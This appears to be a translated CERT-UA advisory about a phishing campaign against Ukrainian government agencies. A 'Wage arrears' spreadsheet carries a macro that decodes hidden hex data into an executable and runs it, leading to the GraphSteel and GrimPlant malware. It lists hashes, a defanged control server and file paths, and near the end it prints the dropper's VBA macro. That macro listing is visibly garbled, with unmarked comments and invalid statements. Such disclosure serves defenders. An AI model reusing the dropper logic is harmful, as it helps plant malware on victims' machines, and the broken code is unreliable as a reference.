

general information

The Governmental Computer Emergency Response Team of Ukraine CERT-UA received information on the distribution of e-mails on the topic "Wage arrears" among government agencies of Ukraine. Attached to the letter is the document "Wage arrears.xls", which contains legitimate statistics and macros. At the same time, hex-coded data has been added to the mentioned document as an attachment. The macro, after activation, will decode the data, create the EXE-file "Base-Update.exe" on the computer and execute it.

This file is a downloader developed using the GoLang programming language. The program will download and run another bootloader, which, in turn, will download and run malware GraphSteel and GrimPlant on your computer.

The detected activity is associated with the activity of the group UAC-0056.

Indicators of compromise

Files:

```
da305627acf63792acb02afaf83d94d1
c1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls
06124da5b4d6ef31dbfd7a6094fc52a6
9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe
(GoDownloader)
36ff9ec87c458d6d76b2afb5120dfe
8ffe7f2eeb0cbf5e158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1 java-sdk.exe
(GoDownloader)
4a5de4784a6005aa8a19fb0889f1947a
99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-java.exe
(GrimPlant)
6b413beb61e46241481f556bb5cdb69c
c83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3 microsoft-
cortana.exe (GraphSteel) (2022-03-20)
```

Network:

```
hxxp: // 194 [.] 31.98.124: 443 / i
hxxp: // 194 [.] 31.98.124: 443 / p
hxxp: // 194 [.] 31.98.124: 443 / m
ws: // 194 [.] 31.98.124: 443 / c
194 [.] 31.98.124
```

Hosts:

```
% TMP% \ Base-Update.exe
% USERPROFILE% \. Java-sdk \ java-sdk.exe
% USERPROFILE% \. Java-sdk \ oracle-java.exe
% USERPROFILE% \. Java-sdk \ microsoft-cortana.exe
```

Graphic images

От: до: Отправлено: Mon 3/28/2022 10:24 AM

Кому:

Тема: Заборгованість по зарплаті

Сообщение: * Заборгованість по зарплаті (10 MBin)

Заборгованість по зарплаті. Оновлюється автоматично. Просимо надіслати вашу пропозицію для скорочення заборгованості по зарплаті.

4837

Висловлююся

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
1	Заборгованість	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	
2	Заборгованість	4496	2896	3462	3268	372	282	194	93	12	-17															
3	Заборгованість	4187	780	4296	4328	-158	-1388	0	-7,6	-10,5	-6,6															
4	Заборгованість	0	4954	4368	4368	0	4368	0	138,2	138,8																
5	Заборгованість	1788	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	
6	Заборгованість	3687	1017	4368	4368	-483	-1683	0	-17,4	-18,4	-6,6															
7	Заборгованість	1483	4743	1776	1776	383	-1365	0	0	-18,7	-6,6															
8	Заборгованість	3207	4638	1776	1776	1507	1338	0	79,3	16,8	-6,6															
9	Заборгованість	1739	4479	1776	1776	1683	1638	0	0	278,8	-6,6															
10	Заборгованість	3488	7805	6368	5368	2362	-1783	388	0	-29,5	-1,8															
11	Заборгованість	1888	1782	5368	5368	1687	-486	76	883,8	-4,5	-6,6															
12	Заборгованість	1019	2829	2429	4719	1669	1884	246,4	471,8	79,3																
13	Заборгованість	234	3014	2429	1739	1788	-1483	-992	893,8	-19,2	-19,2															
14	Заборгованість	1213	4296	5368	5368	4487	-486	76	883,8	-4,5	-6,6															
15	Заборгованість	0	3429	3372	2368	2368	-445	-118	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	
16	Заборгованість	1007	1303	1739	1739	-181	235	28	8,5	16,8	-1,7															
17	Заборгованість	0	194	194	194	194	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	
18	Заборгованість	0	1019	888	888	888	-331	393	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	
19	Заборгованість	0	0	0	0	1688	1688	1688	1688	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	

Sub **ОбновлениеБазы()**

Dim FileManager As New AttachedFiles, File As AttachedFile, res As Boolean

filename\$ = ThisWorkbook.Sheets(3).Range("AB37"): If filename\$ = "" Then Exit Sub

If Not FileManager.AttachmentExist(filename\$) Then

MsgBox "Обновление базы не выполнено, обратитесь к администратору", vbCritical

Exit Sub

End If

FileManager.GetAttachment(filename\$).Run

End Sub

Function SaveAs(Optional ByVal FileName) As Boolean

Сохранит измененный файл по заданному пути

выдавать True, если файл сохранен успешно

Если путь для сохранения не задан - выводится диалоговое окно сохранения файла

On Error Resume Next: Err.Clear

If FileName = "" Then

MsgBox "Введите путь к файлу для сохранения файла"

Title = "Сохранить файл" & " - " & FileName

InitialFileName = Me.Parent.WB.Path & " " & FileName

DialogResult = Application.GetSaveAsFileName(InitialFileName, "Файлы (*.*)", Title, "Сохранить")

If DialogResult = vbOK Then

Exit Function

End If

Exit Function

If FileName Is Nothing Then Exit Function

status texts = "Сохранение файла" & " - " & FileName & " - " & Parent.WB.Name & " - "

If Not SilentMode Then Application.StatusBar = status texts

txt = RangeText(GetDataRange.Value)

If Len(txt) = 0 Then Exit Function

status texts = "Загрузка файла" & " - " & FileName & " - " & Parent.WB.Name & " - "

If Not SilentMode Then Application.StatusBar = status texts

buffer1 = buffer25 & " " & Const BufferLen = 5000: t = Timer

For i = 1 To Len(txt) / 2

buffer1 = buffer1 & Mid(txt, 2 * i - 1, 2)

buffer2 = buffer1 & Chr(0)

If Len(buffer1) > BufferLen Then

DoEvents

buffer2 = buffer2 & buffer1: buffer1 = ""

End If

Next i

buffer2 = buffer2 & buffer1

If Not SilentMode Then Application.StatusBar = "Загрузка файла" & " - " & FileName & " - " & Parent.WB.Name & " - "

Open Filepaths For Binary Access Write As #ff

Put #ff, "res"

Close #ff

If Not SilentMode Then Application.StatusBar = False

SaveAs = Err = 0

End Function